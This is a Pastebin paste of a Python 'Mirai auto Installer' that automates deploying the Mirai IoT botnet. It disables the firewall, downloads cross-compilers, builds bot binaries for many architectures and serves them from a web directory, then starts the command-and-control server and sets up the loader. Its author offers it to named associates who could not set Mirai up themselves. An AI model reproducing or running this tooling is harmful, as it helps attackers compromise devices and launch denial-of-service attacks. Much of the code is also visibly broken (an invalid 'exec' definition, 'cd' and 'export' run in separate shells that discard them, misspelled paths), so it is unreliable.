Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- # Execute command - python miraiai.py
- import subprocess,os,sys,random,time,urllib2,subprocess
- '''
- ███╗ ███╗██╗██████╗ █████╗ ██╗ █████╗ ██╗
- ████╗ ████║██║██╔══██╗██╔══██╗██║ ██╔══██╗██║
- ██╔████╔██║██║██████╔╝███████║██║ ███████║██║
- ██║╚██╔╝██║██║██╔══██╗██╔══██║██║ ██╔══██║██║
- ██║ ╚═╝ ██║██║██║ ██║██║ ██║██║ ██║ ██║██║
- ╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝╚═╝
- */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
- │ Mirai auto Installer, by jihadi │
- │ · Made for Narcotix & N00Dlez since they can't setup Mirai. │
- │ · Don't give this to ZoneHax or ~B1naryThaG0d~ │
- │ · This isn't a full setup, you still have to edit your configs. │
- *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
- */ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \*
- │ [Credits] │
- │ · Jihadi ϗ, Drought │
- │ · Contact: [email protected] // https://discord.gg/a4JcGm7 │
- │ · @Jihadi4Potus | Youtube: https://goo.gl/d3n5yU │
- *\ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ /*
- ━━━━━━━━━━━━━━━
- [Release Notes]
- ━━━━━━━━━━━━━━━
- >> This is my first python script, don't hate. <<
- 4/8/17
- · Added Y/n Function
- · Added Cross-Compile
- · Added goLang Paths and drivers
- · Added Auto ./build.sh debug telnet & release
- ━━━━━━━━━━━━━━━━━━━━
- Title / Introduction
- ━━━━━━━━━━━━━━━━━━━━
- '''
- def exec(cmd):
- subprocess.call(cmd, shell=True) # You should know what this does!
- print("\x1b[\x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS\x1b[0m")
- time.sleep(3)
- print(" \x1b[97mMirai Auto-Installer CNC, Database, Loader! \x1b[0m")
- time.sleep(3)
- print(" \x1b[36mUpdating & Upgrading system \x1b[0m")
- time.sleep(3)
- '''
- ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- Updating/upgraing system & Utils
- ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- '''
- exec("apt-get update -y")
- exec("apt-get upgrade -y")
- exec("apt-get install -y sudo")
- print("\x1b[33m✪ \x1b[92mDone updating system for Mirai! \x1b[33m✪\x1b[0m")
- time.sleep(3)
- '''
- ━━━━━━━━━━━━━━━━━━━━━━
- Installing Mirai Utils
- ━━━━━━━━━━━━━━━━━━━━━━
- '''
- print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mInstalling Mirai Utils \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
- exec("sudo apt-get install gcc golang electric-fence git mysql-server mysql-client bzip2 screen libc6-dev -y")
- exec("go get github.com/go-sql-driver/mysql")
- exec("go get github.com/mattn/go-shellwords")
- exec("/etc/ini.d/iptbales stop")
- print("\x1b[33m✪ \x1b[92mDone Installing Utils. \x1b[33m✪")
- time.sleep(3)
- '''
- ━━━━━━━━━━
- Wget Links
- ━━━━━━━━━━
- '''
- getwget = ['https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
- 'https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
- 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2']
- ccs = ["cross-compiler-armv4l",
- "cross-compiler-i586",
- "cross-compiler-m68k",
- "cross-compiler-mips",
- "cross-compiler-mipsel",
- "cross-compiler-powerpc",
- "cross-compiler-sh4",
- "cross-compiler-sparc",
- "cross-compiler-armv6l"]
- name = ["armv4l",
- "i586",
- "m68k",
- "mips",
- "mipsel",
- "powerpc",
- "sh4",
- "sparc",
- "armv6l"]
- ck = ["mirai.arm7",
- "mirai.arm",
- "mirai.m68k",
- "mirai.mips",
- "mirai.mpsl",
- "mirai.ppc",
- "mirai.sh4",
- "mirai.x86"]
- for wget in getwget:
- exec("mkdir /etc/xcompile")
- exec("wget " + wget + "")
- exec("tar -xvf *tar.bz2")
- exec("mv cross-compiler-* /etc/xcompile")
- exec("export PATH=$PATH:/etc/xcompile/armv4l/bin")
- exec("export PATH=$PATH:/etc/xcompile/armv6l/bin")
- exec("export PATH=$PATH:/etc/xcompile/i586/bin")
- exec("export PATH=$PATH:/etc/xcompile/m68k/bin")
- exec("export PATH=$PATH:/etc/xcompile/mips/bin")
- exec("export PATH=$PATH:/etc/xcompile/mipsel/bin")
- exec("export PATH=$PATH:/etc/xcompile/powerpc/bin")
- exec("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
- exec("export PATH=$PATH:/etc/xcompile/sh4/bin")
- exec("export PATH=$PATH:/etc/xcompile/sparc/bin")
- exec("export PATH=$PATH:/etc/xcompile/armv6l/bin")
- exec("export PATH=$PATH:/usr/local/go/bin")
- exec("export GOPATH=$HOME/Documents/go")
- print("\x1b[33m✪ \x1b[92mDone, executing goLang paths \x1b[33m✪")
- '''
- ━━━━━━━━━━━━━━━━━━━━
- Telnet/Release build
- ━━━━━━━━━━━━━━━━━━━━
- '''
- print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mBuilding Telnet/Release \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
- exec("cd /Mirai-Source-Code-master/mirai/")
- exec("./build.sh debug telnet")
- exec("./build.sh release telnet")
- exec("mv Mirai-Source-Code-master/mirai/prompt.txt Mirai-Source-Code-master/mirai/release/")
- exec("cd Mirai-Source-Code-master/mirai/release; mkdir /var/www/html/bins/; mv mirai.* miraint.* /var/www/html/bins")
- '''
- ━━━━━━━━━━━━
- Starting CNC
- ━━━━━━━━━━━━
- '''
- print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mStarting Mirai! Congratz! \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
- exec("cd Mirai-Source-Code-master/mirai/release/; screen ./cnc")
- '''
- ━━━━━━━━━━━━━━━━━
- Setting up loader
- ━━━━━━━━━━━━━━━━━
- '''
- print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mTHIS ISNT A FULL SETUP YOU STILL HAVE TO EDIT YOUR CONFIGS (main.c in dlrs) \x1b[93m⚠⚠⚠\x1b[0m")
- time.sleep(7)
- print("\x1b[90m[\x1b[94m*\x1b[90m] \x1b[36mSetting up loader Stand by \x1b[90m[\x1b[94m*\x1b[90m]\x1b[0m")
- exec("cd Mirai-Source-Code-master/mirai/dlr")
- exec("./build.sh")
- exec("cp /Mirai-Source-Code-master/dlr/release/dlr.* /Mirai-Source-Code-master/loader/bins")
- print("\x1b[1m\x1b[93m⚠⚠⚠ \x1b[31mREAD \x1b[37m>\x1b[31m> \x1b[37mMake sure u Edit line 37 & 38 & line 53 in main.c \x1b[93m⚠⚠⚠\x1b[0m")
- time.sleep(7)
- exec("cd /Mirai-Source-Code-master/loader/src/; nano main.c")
- '''
- ━━━━━━━━━━━━━━━━━
- $ End of Script $
- ━━━━━━━━━━━━━━━━━
- '''
Add Comment
Please, Sign In to add comment